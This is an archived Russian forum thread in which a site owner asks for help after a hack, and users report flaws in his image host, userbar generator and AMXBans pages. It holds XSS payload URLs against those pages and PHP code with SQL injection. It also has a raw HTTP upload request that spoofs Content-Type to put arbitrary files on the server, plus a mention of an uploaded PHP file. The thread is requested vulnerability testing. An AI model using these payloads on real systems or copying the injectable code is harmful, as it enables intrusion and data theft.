Просмотр полной версии : SnakeArena.Net
Love suit?!
08.02.2009, 15:31
Здраствуйте, проект подвергался хак аттаке, но каким образом неясно, стоит 2 самописных мини двигла, Генератор юзербаров(http://monitor.snakearena.net) и Image Host( http://img.snakearena.net/ ), форум + главная паблик двиги, возможно ломают через эти 2? Баннер установил на главной странице в колонке справа.
BlackSun
09.02.2009, 11:08
XSS
http://img.snakearena.net/v.php?id='><script>alert()</script>
http://amxbans.snakearena.net/ban_search.php
Есть подозрения на sql-inj:
if ((isset($_POST['nick'])) || (isset($_POST['steamid'])) || (isset($_POST['ip'])) || (isset($_POST['reason'])) || (isset($_POST['date'])) || (isset($_POST['timesbanned'])) || (isset($_POST['admin'])) || (isset($_POST['server']))) {
// Make the array for the active bans list
if (isset($_POST['nick'])) {
$resource3 = mysql_query("SELECT bid, player_nick, admin_nick, ban_length, ban_reason, ban_created, server_ip FROM $config->bans WHERE player_nick LIKE '%".$_POST['nick']."%' ORDER BY ban_created DESC") or die(mysql_error());
} else if (isset($_POST['steamid'])) {
$resource3 = mysql_query("SELECT bid, player_nick, admin_nick, ban_length, ban_reason, ban_created, server_ip FROM $config->bans WHERE (player_id = '".$_POST['steamid']."' AND ban_type='S' ) OR ( player_ip='".$_POST['ip']."' AND ban_type='SI') ORDER BY ban_created DESC") or die(mysql_error());
} else if (isset($_POST['reason'])) {
$resource3 = mysql_query("SELECT bid, player_nick, admin_nick, ban_length, ban_reason, ban_created, server_ip FROM $config->bans WHERE ban_reason LIKE '%".$_POST['reason']."%' ORDER BY ban_created DESC") or die(mysql_error());
} else if (isset($_POST['date'])) {
$date = substr_replace($_POST['date'], '', 2, 1);
$date = substr_replace($date, '', 4, 1);
$resource3 = mysql_query("SELECT bid, player_nick, admin_nick, ban_length, ban_reason, ban_created, server_ip FROM $config->bans WHERE FROM_UNIXTIME(ban_created,'%d%m%Y') LIKE '$date' ORDER BY ban_created DESC") or die(mysql_error());
} else if (isset($_POST['timesbanned'])) {
$resource3 = mysql_query("SELECT bid, player_nick, admin_nick, ban_length, ban_reason, ban_created, server_ip, COUNT(*) FROM $config->bans GROUP BY player_id HAVING COUNT(*) >= '".$_POST['timesbanned']."' ORDER BY ban_created DESC") or die (mysql_error());
} else if (isset($_POST['admin'])) {
$resource3 = mysql_query("SELECT bid, player_nick, admin_nick, ban_length, ban_reason, ban_created, server_ip FROM $config->bans WHERE admin_id = '".$_POST['admin']."' ORDER BY ban_created DESC") or die(mysql_error());
} else if (isset($_POST['server'])) {
$resource3 = mysql_query("SELECT bid, player_nick, admin_nick, ban_length, ban_reason, ban_created, server_ip FROM $config->bans WHERE server_ip = '".$_POST['server']."' ORDER BY ban_created DESC") or die(mysql_error());
} else {
echo "KOE";
}
При magic_quotes = off так же возможна sql-inj в скриптах, инсклудяших include/accesscontrol.inc.php
if(isset($_POST['uid'])){
$_POST['uid'] = secure($_POST['uid']);
} // функция secure зашищает только от xss
.................
if(isset($_COOKIE["amxbans"])) {
$sql = "SELECT * FROM $config->webadmins WHERE username = '$uid' AND password = '$pwd'";
} else {
$sql = "SELECT * FROM $config->webadmins WHERE username = '$uid' AND password = md5('$pwd')";
}
Love suit?!
09.02.2009, 16:23
аххаха уже проайфремиили )
Проверил все страницы, не нашёл:( Насчёт img-hosta, догадки были, они оправдались, насчёт amxbans, magic_quotes = on
Godfather Bulan
09.02.2009, 19:16
http://php-ru.info/down/open/fotohost.html
исходники твоего "самописного" хоста.
мб кому-то помогут
Ахах,вы нашли друг друга)) http://forum.antichat.ru/thread105214.html
Ошибка в скрипте.Раскрытие путей.
http://amxbans.snakearena.net/ban_details.php?bid=6177
-----------
XSS
http://amxbans.snakearena.net/ban_details.php?bid={XSS}
А потом ошибочка You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '> ORDER BY date ASC' at line 1
XSS
http://monitor.snakearena.net/server.php?bgcolor=%00"'><script%20%0a%0d>alert()%3B</script>
Проверяй не только расширения, добавь проверку по MIME-TYPE, надёжней будет.
http://img.snakearena.net/images/23117cmd.jpg - xss Правда работает только в IE, но сам факт...
http://img.snakearena.net/images/7622712.02.png -screen
Гы гы гы, такойже файлобменик был у кофа :)
http://img.snakearena.net/images/13628sdgfg.php
ТС походу забил на тему
Пончек,не подскажешь в пм,как залил пхпинфо?Новая скуля,или которые выше?
Все очень просто скрипт проверяет только Content-Type. Посылаем ему:
POST /upload.php HTTP/1.0
User-Agent: Opera/9.63 (Windows NT 5.1; U; MRA 5.3 (build 02560); ru) Presto/2.1.1
Host: img.snakearena.net
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Referer: http://img.snakearena.net/
Content-Length: 56006
Content-Type: multipart/form-data; boundary=----------ScxPmUEbYQqkJns82FC1ET
Connection: Keep-Alive
------------ScxPmUEbYQqkJns82FC1ET
Content-Disposition: form-data; name="userfile"; filename="b0.txt"
Content-Type: image/jpeg
Текст
и получаем http://img.snakearena.net/images/61372b0.txt
Чем перехватить POST? Я использую Naviscope
Чем отправить POST? Я использую InetCrack (Algol edition)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot